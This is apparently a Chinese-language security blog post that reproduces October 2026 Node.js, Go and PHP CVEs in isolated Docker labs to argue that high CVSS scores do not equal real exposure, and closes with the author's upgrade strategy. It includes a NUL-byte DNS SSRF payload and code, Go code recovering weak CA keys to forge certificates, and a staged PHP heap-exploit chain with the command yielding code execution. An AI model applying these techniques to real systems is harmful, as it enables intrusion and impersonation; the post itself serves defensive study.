漏洞存在 ≠ 你會被打:十月 CVE 本機重現
tags: CVE, Security, TLS, PKI, Node.js, Go, PHP, Docker
category: Security
description: 用十月剛修掉的 CVE,聊聊 Reachability 與 Trust Boundary:為什麼 CVSS 很高的漏洞,不一定打得到你
created_at: 2026/10/27 20:30:00

前言
聲明: 這篇文章是透過
AI協助整理我這幾天的實驗專案所產生的 summary。部分細節可能需要勘誤,但大方向的概念是對的。網路上也許已經有人用更底層、更完整的方式實現了這些攻擊,但那些不在這篇的討論範圍內——這裡只呈現我自己這幾天實驗出來的結果。最後也會附上我這次實際的升級處理方式。我也不是資安專家,這篇如果哪裡理解有誤,還請鞭小力一點;不過整個實驗做下來,真的有種發現新大陸的感覺。
上個禮拜 Go、Node.js、PHP 接連發了安全更新,標題一個比一個聳動——什麼 RCE(Remote Code Execution,遠端程式碼執行)、什麼 CA 被攻陷,CVSS(Common Vulnerability Scoring System,通用漏洞評分系統)分數看起來也都不低。這次剛好有時間,我就想說不只升版,連細節都自己跑一遍,弄清楚一個問題:
這些
CVE(Common Vulnerabilities and Exposures)分數這麼高,放到我手上的服務,到底「會不會」真的被打?
結論先講:漏洞我都在本機重現了核心行為(Go 的部分是原理等效的模擬,不是用真實 eMudhra 憑證觸發),也都更確定了一件事——「漏洞存在」跟「你會被打」是兩回事。 有沒有人要打你又是另一回事了 中間差的那段,就是 Reachability(攻擊者能不能真的碰到那條程式碼路徑)與 Trust Boundary(同一份資料在不同元件眼中是不是同一個意思)。
全程在完全隔離的本機環境做的,不是提供武器。
PoC(Proof of Concept,概念驗證)沒有附上可直接執行的攻擊腳本。
下面放一段我針對這篇實驗錄的 demo 影片,純粹示範流程跑起來的樣子。裡面那些測試程式跟 log 輸出內容也是 ,重點看個流程就好。AI 寫的,寫了什麼我自己也沒太 care我只有檢查 AI 確實沒有作弊,例如一開始還共用 volume 或其他想騙我他已經重現了漏洞之類的
目錄
- 案例一:Node.js — 兩個「狀態與語意」
- 案例二:Go — HTTPS 驗證成功,為什麼我還是連到了假網站?
- 案例三:PHP — C 層 heap 的 php2shell
- 我自己怎麼升的
- 結論
- 後記
內文預設收合,只留標題,有興趣再點開「展開完整內容」看細節。
案例一:Node.js — 兩個「狀態與語意」
展開完整實驗內容
Node.js 10/21 的安全更新修了好幾個洞,我挑了兩個做 A/B。環境用 Docker Compose 跑兩個版本:
# nodejs-lab/compose.yaml
services:
vulnerable:
image: node:24.22.0-bookworm-slim
working_dir: /app
volumes:
- ./:/app:ro
security_opt:
- no-new-privileges:true
patched:
image: node:24.22.1-bookworm-slim
working_dir: /app
volumes:
- ./:/app:ro
security_opt:
- no-new-privileges:true
1-1. Startup Snapshot 把「隨機狀態」一起存了下來(CVE-2026-106074)
Node.js 的 Startup Snapshot 可以把 Runtime 初始化到一半的狀態存起來,讓後續 Process 快速還原。問題是:受影響版本連 crypto 的 entropy cache(隨機數據快取)也一起存了。多個 Process 從同一份快照還原,就會從同一個隨機狀態繼續消費——crypto.randomUUID()、crypto.randomInt() 可能跨 Process 產生一模一樣的值。
測試腳本長這樣——Build Time 先觸發 entropy cache,Runtime 再從快照還原後繼續取值:
// nodejs-lab/snapshot.cjs
const crypto = require("node:crypto");
const v8 = require("node:v8");
// Build Time:預先使用隨機值,讓 Node.js 建立 Entropy Cache
crypto.randomUUID();
crypto.randomInt(1_000_000);
// Runtime:只有從 Snapshot 還原時才會執行
v8.startupSnapshot.setDeserializeMainFunction(() => {
const { randomUUID, randomInt } = require("node:crypto");
console.log(JSON.stringify({
pid: process.pid,
uuid: randomUUID(),
randomInt: randomInt(1_000_000),
}));
});
先建 Snapshot,再連續還原三次:
# 建立 Snapshot
node --snapshot-blob=/tmp/cve.blob --build-snapshot snapshot.cjs
# 還原三次
for i in 1 2 3; do
node --snapshot-blob=/tmp/cve.blob
done
24.22.0 三次跑出來的 UUID 跟 randomInt 一模一樣:
# Node.js 24.22.0 — 三個不同 Process,同一份 Snapshot(值已簡化示意)
{"pid":44,"uuid":"a1b2c3d4-...","randomInt":738291}
{"pid":45,"uuid":"a1b2c3d4-...","randomInt":738291} ← 重複!
{"pid":46,"uuid":"a1b2c3d4-...","randomInt":738291} ← 重複!
# Node.js 24.22.1 — 同樣流程
{"pid":44,"uuid":"e5f6a7b8-...","randomInt":412583}
{"pid":45,"uuid":"c9d0e1f2-...","randomInt":956174} ← 不同
{"pid":46,"uuid":"b3a4c5d6-...","randomInt":283947} ← 不同
對照組拿掉快照、直接在一般 Process 裡呼叫,兩個版本都沒重複。
本質不是「亂數不安全」,而是不該跨 Process 共用的狀態被錯誤地序列化了。修法也很直覺:還原快照時重新初始化隨機快取。
這個洞的 Reachability 很窄——你得真的有用 user-land Startup Snapshot 或 SEA(Single Executable Application),一般的 node server.js / Express / Fastify 不會只因為用了 randomUUID() 就中獎。
1-2. DNS 查詢被 NUL Byte 截斷(CVE-2026-105482)
這題是我最喜歡的「Trust Boundary 錯位」範例。JavaScript 字串可以包含 \0(NUL byte,數值為 0 的位元組),但受影響版本的 dns.resolve*() 把 hostname 丟給底層時沒有擋 NUL,底層只看到 \0 之前的部分:
JavaScript 以為查的是: attacker.test\0.trusted.test
實際送出去的 DNS 查詢: attacker.test
放進一段 allowlist 防護就變成災難:
"attacker.test\0.trusted.test".endsWith(".trusted.test") // true — 通過!
然後 dns.resolve4() 卻去解析了 attacker.test。驗證時用的是一種語意,執行時用的是另一種。 在某些架構下這就能接成 SSRF(Server-Side Request Forgery,伺服器端請求偽造)。
我搭了一個完整的 PoC:本機 Mock DNS Server + Mock Attacker HTTP Server + 弱化的 allowlist,模擬整條 SSRF 路徑:
// nodejs-lab/dns-ssrf-poc.cjs(節錄關鍵邏輯)
const ALLOWED_SUFFIX = ".trusted.test";
async function lookupAndFetch(hostname, resolver, port) {
// 弱化的 allowlist — 只看後綴
if (!hostname.endsWith(ALLOWED_SUFFIX)) {
throw new Error("Domain is not allowed");
}
console.log("[APP] Domain allowlist: PASSED");
// 這裡是漏洞觸發點
const addresses = await resolver.resolve4(hostname);
console.log("[APP] Resolved IP:", addresses[0]);
// 用解析出的 IP 直接發 HTTP request
return http.get({ hostname: addresses[0], port, path: "/private" });
}
// 攻擊 payload
const hostname = "attacker.test\0.trusted.test";
await lookupAndFetch(hostname, resolver, attackerPort);
兩個版本的結果:
# Node.js 24.22.0
[APP] Input: "attacker.test\u0000.trusted.test"
[APP] Domain allowlist: PASSED
[DNS] Actual query: attacker.test ← 截斷了!
[APP] Resolved IP: 127.0.0.123
[ATTACKER] HTTP request received!
[RESULT] HTTP: 200
[RESULT] Body: {"server":"attacker","message":"You reached the forbidden server!"}
# Node.js 24.22.1
[APP] Input: "attacker.test\u0000.trusted.test"
[APP] Domain allowlist: PASSED
[RESULT] Request blocked or failed
[RESULT] Error: ERR_INVALID_ARG_VALUE
[RESULT] Message: The argument 'name' must be a string without null bytes.
24.22.0 的底層真的去查了截斷後的名字;24.22.1 在送進底層前就擋下來了,丟 ERR_INVALID_ARG_VALUE。
這不是
DNS Hijacking。 攻擊者沒竄改DNS Server,他利用的純粹是程式對 hostname 的處理差異。
會中的是把外部可控 hostname 餵進 dns.resolve*() 的服務(Webhook Validation、Proxy、URL Preview、自製 SSRF 防護)。一般 CRUD 後端碰不到這條路。另外 fetch() 和 dns.lookup() 用的是 OS 的 getaddrinfo,跟 dns.resolve() 用的 c-ares 不同,受影響的 API 不一樣。
案例二:Go — HTTPS 驗證成功,為什麼我還是連到了假網站?(CVE-2026-111943)
展開完整實驗內容
HTTPS 保護的是傳輸過程的加密跟完整性,但「加密通道的另一端是誰」是另一個問題——身分驗證靠的是 CA(Certificate Authority,憑證授權機構)跟憑證鏈。當 CA 本身出事,加密照樣沒壞,壞的是你信任的根基。
整個實驗跑在完全斷網的容器裡(network_mode: none),不碰任何外部 CA 或 DNS:
# go-lab/compose.yaml
services:
vulnerable:
image: golang:1.27.2-bookworm
network_mode: none # 完全斷網
environment:
GOPROXY: "off"
GOSUMDB: "off"
patched:
image: golang:1.27.3-bookworm
network_mode: none
environment:
GOPROXY: "off"
GOSUMDB: "off"
2-1. CA 的金鑰被「算」出來了
2026 年十月,印度的憑證服務商 eMudhra 出了金鑰安全事件:八張 Intermediate CA(中繼憑證授權機構,位於 Root CA 與網站憑證之間的簽發層級;其中六張用於 TLS、兩張用於程式碼簽章)的 P-384(一種橢圓曲線)私鑰隨機性嚴重不足。八把私鑰的 d 值分別只有 4、56、66、115、155、156、230、237——全部不超過 255,有效熵約 8 bits。而且這些金鑰早在 2025 年 4 月就已產生,直到 2026 年 10 月才被研究人員發現並通報,中間有約 18 個月的曝光窗口。
橢圓曲線 Q = dG,正常 d 是天文數字。但 d < 256 的話,攻擊者只要算 G, 2G, ... 255G 就能對出私鑰——在一台筆電上不到一秒就能全部還原。實驗裡的窮舉還原就這幾行:
// go-lab/main.go — 弱金鑰窮舉還原(節錄)
func recoverWeakKey(pub *ecdsa.PublicKey) (*ecdsa.PrivateKey, int) {
for i := int64(1); i < 256; i++ {
x, y := pub.Curve.ScalarBaseMult(big.NewInt(i).Bytes())
if x.Cmp(pub.X) == 0 && y.Cmp(pub.Y) == 0 {
return weakKey(i), int(i)
}
}
return nil, 0
}
不是 P-384 被破解,是金鑰產生的 Entropy 壞了。 eMudhra 的說法是金鑰產生儀式(Key Generation Ceremony)的流程出了問題——腳本錯誤加上金鑰名稱相近,弱金鑰被誤用於產生 CSR(Certificate Signing Request),最終取代了原本預期的強金鑰。該公司表示 CA 基礎設施未遭入侵;Chrome 也確認,封鎖前在 CT(Certificate Transparency,憑證透明度)紀錄中未見到由這些中繼憑證簽出的 TLS 憑證。至於這些 Intermediate CA 是否曾簽發過終端實體憑證(End-Entity Certificate),不同報導說法並不一致——有說法稱未曾簽發,也有報導指其中至少一張曾用於正式環境,目前沒有一個可以完全採信的定論。而且不是所有用戶端都會檢查 CT,加上金鑰自 2025 年起就可被還原,無法完全排除過去曾被利用的可能。
CA 私鑰外洩比網站私鑰外洩嚴重太多——攻擊者可以自己簽一張任意 domain 的合法憑證。
2-2. Go 怎麼修的
Go 在 crypto/x509.Certificate.Verify() 加了硬編碼的 SPKI(Subject Public Key Info,公鑰資訊)Denylist,用公鑰的 SHA-256 hash 比對:
hash := sha256.Sum256(cert.RawSubjectPublicKeyInfo)
// 命中 → 拒絕這條驗證鏈
封鎖公鑰而非憑證序號,推測是因為同一把公鑰可能透過 Cross-signing(交叉簽署)出現在不同憑證裡——這次 eMudhra 的中繼憑證確實就有透過 AAA Certificate Services(Comodo/Sectigo)交叉簽署的版本,Sectigo 隔天也跟著撤銷了自己交叉簽署出去的那些版本。這個 Denylist 不能透過 GODEBUG 停用。修補版本為 Go 1.27.3 與 1.26.10(Go 1.25 以前已終止支援)。因為 Go 是靜態連結標準函式庫,應用程式必須用新版 Go 重新編譯並重新部署才會生效——不像瀏覽器可以透過 CRLSet/OneCRL 推送即時封鎖。核心觀念:憑證在密碼學上有效,不代表那把 CA 金鑰還值得信任。
2-3. 本機重現與誠實聲明
我在本機搭了 Root CA → 弱 Intermediate CA → Leaf,窮舉還原弱私鑰,簽了假的 api.trusted.test。Client 用固定 URL、全程保留 TLS 驗證,但 DialContext 把 TCP 連線導到假 Server(模擬流量已被重導向的前提):
// go-lab/main.go — 模擬流量重導向(不是漏洞自帶的能力)
DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
fmt.Printf("[ROUTE] Requested=%s; redirected to %s (%s)\n",
address, dst.server.Listener.Addr(), dst.name)
return (&net.Dialer{Timeout: 2 * time.Second}).DialContext(
ctx, network, dst.server.Listener.Addr().String())
},
實驗跑了六種場景加一個對照組(A–G),這裡截三個最關鍵的:
========== C: 流量導到攻擊者 + 用還原的 CA 金鑰簽的假憑證 ==========
[ROUTE] Requested=api.trusted.test:443; redirected to 127.0.0.1:36001 (ATTACKER)
[TLS CLIENT] Handshake accepted: TLS 1.3
[RESULT] HTTP 200 OK; body={"server":"ATTACKER","balance":999999}
[RESULT] VerifiedChains=1
[CHAIN 0] api.trusted.test -> Local Weak Intermediate CA -> Local Trusted Root CA
[CHECK] PASS ← 攻擊成功:憑證鏈完全合法
========== D: 同一張假憑證,但啟用 SPKI Denylist ==========
[ROUTE] Requested=api.trusted.test:443; redirected to 127.0.0.1:36001 (ATTACKER)
[TLS CLIENT] Handshake accepted: TLS 1.3
[PATCH] Inspect cert="Local Weak Intermediate CA" matched=true
[RESULT] TLS/HTTP BLOCKED: LAB_DENYLIST: compromised CA public key blocked
[CHECK] PASS ← Denylist 擋住了
========== G: 同一個 domain,另一個合法 CA,Denylist 仍開著 ==========
[ROUTE] Requested=api.trusted.test:443; redirected to 127.0.0.1:36003 (INDEPENDENT)
[TLS CLIENT] Handshake accepted: TLS 1.3
[RESULT] HTTP 200 OK; body={"server":"INDEPENDENT","balance":100}
[CHECK] PASS ← 封鎖的是特定公鑰,不是 domain
這裡必須標註:流量被導到攻擊者那裡,是我用 DialContext 主動模擬的前提,不是 CA 漏洞自動送你的能力。
這帶出最有價值的觀念——CA Compromise ≠ DNS Hijacking。要打成 HTTPS 冒充,攻擊者需要兩種能力同時到位:
- 能力 A(流量重導向):控制
DNS/Proxy/ 路由 - 能力 B(身分冒充):持有被攻陷的
CA私鑰
只有 A 沒有 B → 憑證驗證會擋。只有 B 沒有 A → 收不到流量。兩個湊齊才構成威脅。
而且「湊齊」之後,攻擊者不只能把你導到假網站——更危險的是 MITM(Man-in-the-Middle,中間人攻擊):攻擊者用偽造的憑證跟你的 Client 建立一條 TLS,同時再跟真正的 Server 建立另一條 TLS,兩邊各自加密,但攻擊者在中間看得到所有明文:
Client ──TLS(偽造憑證)──▶ Attacker ──TLS(正常憑證)──▶ Real Server
│
看得到明文
可以讀取、竄改、側錄
這比「連到假網站」更難察覺——因為你拿到的是真正的 response,只是中間被人看過甚至改過。API Token、Cookie、Request Body 裡的敏感資料都會在中間曝光。這也是 CA Compromise 被視為嚴重事件的真正原因:它不只能冒充身分,還能在不驚動任何一方的情況下持續監聽。
真正的 Go Patch 是在 Certificate.Verify()(建鏈階段)就拒絕,遇到交叉簽署時可以改走其他驗證路徑。我的本機模擬簡化成 VerifyConnection(握手完成後才檢查),所以測試 D 的 log 會先出現 Handshake accepted 然後才 BLOCKED——這跟真正的 Patch 行為不完全一樣,但足以驗證「公鑰比對 → 拒絕」的核心概念:
// go-lab/patch-poc.go — 簡化模擬 SPKI Denylist(真正的 Patch 在建鏈階段)
cfg.VerifyConnection = func(cs tls.ConnectionState) error {
for _, chain := range cs.VerifiedChains {
for _, c := range chain {
hash := sha256.Sum256(c.RawSubjectPublicKeyInfo)
if hex.EncodeToString(hash[:]) == blockedSPKI {
return fmt.Errorf("compromised CA public key blocked (%s)",
c.Subject.CommonName)
}
}
}
return nil
}
上面測試 G 的結果也證明了——封鎖的是特定公鑰,不是整個 domain。
誠實說:我重現的是攻擊原理跟 Patch 機制,不是用真
eMudhra憑證觸發版本差異。真正的 Patch 只能封鎖它「已知」不可信的CA。
影響面:一般 HTTPS Server 不做 mTLS(mutual TLS,雙向 TLS 驗證)的話,根本不會主動去驗對方的 X.509 Certificate,所以通常沒事。會觸發的是你的 Go 程式主動建立 TLS 連線的場景——HTTPS Client、gRPC + TLS、或做了 mTLS 要驗 Client Certificate 的 Server。另一個反直覺的點:「你的網站用 Let's Encrypt 簽」不代表「你的 Client 只信任 Let's Encrypt」——只要 Trust Store 裡有受影響的 CA,攻擊者就能拿另一條簽發路徑來冒充同一個 domain。
案例三:PHP — C 層 heap 的 php2shell(CVE-2026-109618 / 109619)
展開完整實驗內容
壓軸最硬,真刀真槍的記憶體利用。測試對象:PHP 8.4.26 對 8.4.27。
# php-lab/compose.yaml
services:
vulnerable:
image: php:8.4.26-apache
ports:
- "127.0.0.1:8081:80"
volumes:
- ./public:/var/www/html:rw
patched:
image: php:8.4.27-apache
ports:
- "127.0.0.1:8082:80"
volumes:
- ./public:/var/www/html:rw
3-1. 兩個 CVE 的攻擊鏈
- CVE-2026-109618:
multipart解析時觸發OOM(Out of Memory,記憶體耗盡),引擎用longjmp()(C 語言的非正常跳躍機制,直接跳回之前儲存的執行點)跳出,跳過了 cleanup,留下 stale state(殘留狀態)。 - CVE-2026-109619:
session.upload_progresshandler 的use-after-free(記憶體被釋放後仍被使用)。
合起來:OOM → longjmp 跳過清理 → dangling pointer(懸空指標,指向已被釋放的記憶體)→ heap exploitation(堆積記憶體利用)。
關鍵觀察:OOM 發生在 line 0(引擎層 parser,PHP 腳本還沒跑),而且 worker 沒死(longjmp 不殺 process),殘留狀態能跨 request 存活。用同一個 multipart payload 分別打兩個版本:
# PHP 8.4.26 — OOM,但 worker 存活
Fatal error: Allowed memory size exhausted (line 0) ← 引擎層,不是 PHP 腳本
OOM 前 PID: 17
OOM 後 PID: 17(連續 4 次 OOM 後仍是同一個 process)
# PHP 8.4.27 — 同一個 payload,正常執行
HTTP 200 OK(記憶體使用量僅 5.1MB)
3-2. 公開 PoC 的「捷徑」不是漏洞本體
很多公開 PoC 用 session.serialize_handler = php_serialize 搭 .htaccess 製造 handler mismatch,但那是「非預設設定」的捷徑。真正的 CVE 是 C 層 heap exploitation,不碰 serialize_handler、純預設設定的完整鏈:
Stage 0 OOM payload → 殺掉舊 worker,Apache spawn 新的 → 乾淨 heap layout
Stage 1 Heap Leak → Set-Cookie 洩漏 heap 內容 → 算出記憶體基底
Stage 2 ASLR Bypass(繞過位址空間隨機化)→ libphp offset 回推 system() 位址
Stage 3 RCE → 偽造 C 結構,shutdown 解構鏈呼叫 system()
Stage 0 是用 OOM 殺掉舊 worker 取得乾淨環境;Stage 1–3 則是連續打同一個新 worker,利用 longjmp 後殘留的 dangling pointer。
最終成功重現的 RCE 長這樣:
# 執行攻擊(完全在本機 Docker 裡)
docker exec p2s-atk python3 /exploit/exploit.py \
-u http://app/index.php -c "id>/out/p1" --retries 10
# 驗證
docker exec p2s-app cat /out/p1
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP 設定檔裡真正需要改的部分:
# php2shell-mvp 的 php.ini(需要調整的 2 個 + 1 個攻擊鏈依賴的預設值)
display_errors = On # PHP Docker image 預設就是 On(不用改,但攻擊鏈需要它開著)
memory_limit = 8M # 需要調低(預設 128M)
post_max_size = 64M # 需要調大(預設 8M)
# 以下全部保持預設(這是跟公開 PoC 最大的差異)
session.serialize_handler = php # ✅ 預設
session.upload_progress.cleanup = On # ✅ 預設
session.upload_progress.enabled = On # ✅ 預設
max_input_vars = 1000 # ✅ 預設
# Apache 設定
MaxRequestWorkers 1 # 必須單 worker(最不真實的前提)
KeepAlive Off
3-3. 前提有多不真實?
最終實驗(php2shell-mvp)的 session 設定全部維持預設——serialize_handler、upload_progress.cleanup、max_input_vars 都沒動,這也是為什麼這條鏈比公開 PoC 常見的 handler mismatch 路線更有說服力。
真正要調的是 memory_limit(降到 8M,正常環境通常是 128M)和 post_max_size(拉高到 64M),讓 OOM 可以在 multipart 解析階段被精確觸發。display_errors 在 PHP Docker image 裡預設就是 On 所以不用額外設——但它在攻擊鏈裡有具體角色:Stage 1 的 heap leak 需要 headers_sent=1,那個狀態是被 max_input_vars 超量時的警告訊息撐起來的。生產環境通常會關 display_errors(避免把內部路徑、變數名、stack trace 吐給外人),關了之後警告不會輸出到 response → headers_sent 不會被提前設定 → leak 路徑就斷了。
但最不真實的前提是 Apache 的 MaxRequestWorkers = 1。整條攻擊鏈需要連續多個 request 打到同一個 worker,因為 dangling pointer 存活在那個 worker 的 heap 裡。多 worker 下光「連續命中同一個 worker」就是額外的機率門檻。另外要修正一點:我這次的實驗全程在 Apache mod_php 上做,PHP-FPM 我沒有實測;但官方 Advisory 寫得很明白,CVE-2026-109619(session.upload_progress 那條 use-after-free)已經驗證過 mod_php 跟 FPM 都會中,所以不能假設 FPM 天生比較安全——我這篇只示範了 mod_php 這一條完整鏈,FPM 沒被我測到,不代表它的風險比較低。
偽造結構大小有限(指令長度 ≤ 14 bytes)——這是這次示範選的這個偽造欄位本身的限制,不是漏洞本身的上限;真正能寫出更長指令的利用手法(例如改寫成指向別處字串的指標)理論上是可行的,只是我這次沒有往那個方向做。Stage 3 的 heap slot 對齊有隨機性,需要多次重試。
同一個 RCE 等級的 CVE,正常生產環境跟開發用的單 worker Docker 裡,可利用難度差很多。 這也是為什麼在實驗室裡能重現的漏洞,不代表正式環境就一定能被利用,雖然在現在 AI 氾濫的時代... 以下略。
3-4. 修法
PHP 8.4.27 用 soft-OOM 取代 longjmp()。同一個 payload,8.4.26 觸發 Fatal error、8.4.27 只用 5.1MB 就正常跑完。沒有 longjmp → 沒有跳過 cleanup → 整條鏈的地基就沒了。
我自己怎麼升的
展開完整內容
先升「有攻擊面」的,不急著動「碰不到的」
我有一個 codebase 裡的 PHP 扮演兩種角色:一部分是封閉的 build-stage 工具(外部碰不到),一部分對外服務。我選擇 先升對外服務——build-stage 的 Reachability 趨近於零,而且它「不能壞」反而是不想在沒必要時動它的原因。對外服務功能單純、好驗證、攻擊面實際存在,排第一。
「攻擊面」決定該先升誰,「功能複雜度」決定升起來有多痛。
而不是看哪個名字聽起來比較重要就先衝。
legacy Laravel:直接用新版重建再 migrate
幾個 legacy Laravel 專案沒有測試,手動逐個套件升版是依賴地獄——不但無法保證相依套件之間會不會互相衝突、正常運作,升完也沒辦法確認既有功能有沒有被動到。但既然有 AI 幫忙,不如直接用新版框架開乾淨專案,再把舊 code 一塊塊 migrate 過去——反正專案也不大,不如直接避開依賴風險,煩惱的只剩「搬邏輯、對行為」,不是跟依賴樹纏鬥,可能是一種更穩的做法。有時候打掉重練比修修補補還快,前提是東西夠小。
前提:codebase 夠小、邏輯搬得動、有辦法驗證行為一致。 專案一大別無腦套用。
Go 服務:Reachability 不高,但還是升了
我後來比較新的對外服務多半是用 Go 寫的。照前面案例二的分析,CVE-2026-111943 對這些服務的 Reachability 其實不算高——但翻了一下 Go 1.27.3/1.26.10 的版本紀錄,除了這個資安修補,也包含了一些效能上的改善。兩個理由湊在一起,最終還是決定升——不升版本來就只是把技術債往後推而已,Reachability 低也不代表永遠低。
升版前,我先請 Agent 把既有測試檢查一遍,確認有涵蓋到核心流程、那種「不能壞」的路徑——理論上不應該少,只是趁這次請它多檢查一次,有漏掉的就順便補齊。確保測試夠完整之後,才開始逐步升版,確保不會因為升版把原本能動的功能弄壞。
這次前端連 CSS 的 Library 都一起升了,光靠既有的測試沒辦法讓人安心,所以另外請 Agent 跑 Playwright 把主要頁面實際戳一輪,升版前後各截一次圖比對,確認版面跟樣式沒有被一起升級的 CSS Library 動到。
結論
三個案例跑下來,Node.js 的兩個洞都是 Reachability 或 Trust Boundary 窄到特定場景才會中;Go 那把 P-384 私鑰沒被破解,是產生過程的 Entropy 壞了,而且要湊齊「流量重導向」跟「拿到私鑰」兩個能力才打得成;PHP 那條 RCE 鏈則是疊了一堆不真實的前提(單 worker、調低 memory_limit)才重現得出來。漏洞的「CVSS 很高」跟「我會不會被打」之間,中間都隔著好幾層條件。
這裡要特別澄清一下 PHP 那條鏈:我能重現出來的是加了很多限制條件之後的版本,但這不代表官方 Advisory 記載的 CVE 本身就這麼侵限——真正的漏洞是貨真價實、能直接打出 RCE 的那種危險等級,我示範的只是我自己在本機搭得出來、能說服自己原理是對的其中一條路徑,不是漏洞原本的難度,別被我這篇的條件限制誤導了。
這也是我最後決定怎麼升版的原因:攻擊面實際存在的先升,Reachability 低的不代表永遠低,Go 服務那邊單純因為效能改善也值得升。但升版前先確認測試有沒有涵蓋到核心流程,前端又動了 CSS Library 的話就另外拿 Playwright 截圖比對——升版這件事本身也有風險。
全程在完全隔離的本機環境做的教育性重現,所有「冒充/攻陷」的 CA、DNS、服務都是自己搭的假靶,沒碰任何外部系統。
後記
以上內容皆由 AI 產生,這裡我來寫簡短的我的想法,當作碎碎念就好,不見得有價值XD
針對於信任邊界這一條,讓我想到 bounded-context 的概念:不同元件對同一份資料的理解可能不同,以及 anti-corruption layer 的設計,如何保護核心領域不被外部污染,可以抽換外部元件而不影響核心邏輯,對於 domain layer 來說他不 care 外部元件的實作細節,只關心自己的核心邏輯是否正確,不過這次就是外部元件沒做好導致有漏洞而直接被影響到了。
接著是針對 RCE 的部分,除了前面的實驗以外,其實過程中 AI 還有給一種實現方式是一開始寫了一個類別,手藏後門(例如在 __destruct 裡面放 system 或其他語言比較常見的 eval),然後再透過特定的程式流程觸發它。然後我就在想,應該也不太會有人手留這個後門,結果 AI 從一些特定版本的 wordpress 和 laravel 有某個類別有類似的實作,等於如果有心的話在條件都符合的情況下,還是有可能被利用。
最後是要不要升版這件事,雖然最終可能都得升,不然技術債累積太久碰到 EOL 之後又碰到不得不升,那一次要升會比較痛(一次吃很飽跟少量多餐各有利弊,要看專案狀況決定)當然也可以自己評估,搞不好沒用到不受影響也不用升,會動就好 對吧(x)
現在有 AI 幫忙,比以前人工處理輕鬆不少,也能在升版前多一層檢查,降低意外風險。(如果是很重要的專案,軟工知識還是不能少,比方說怎麼樣在出事有能力快速定位問題、分析原因、回滾或修復)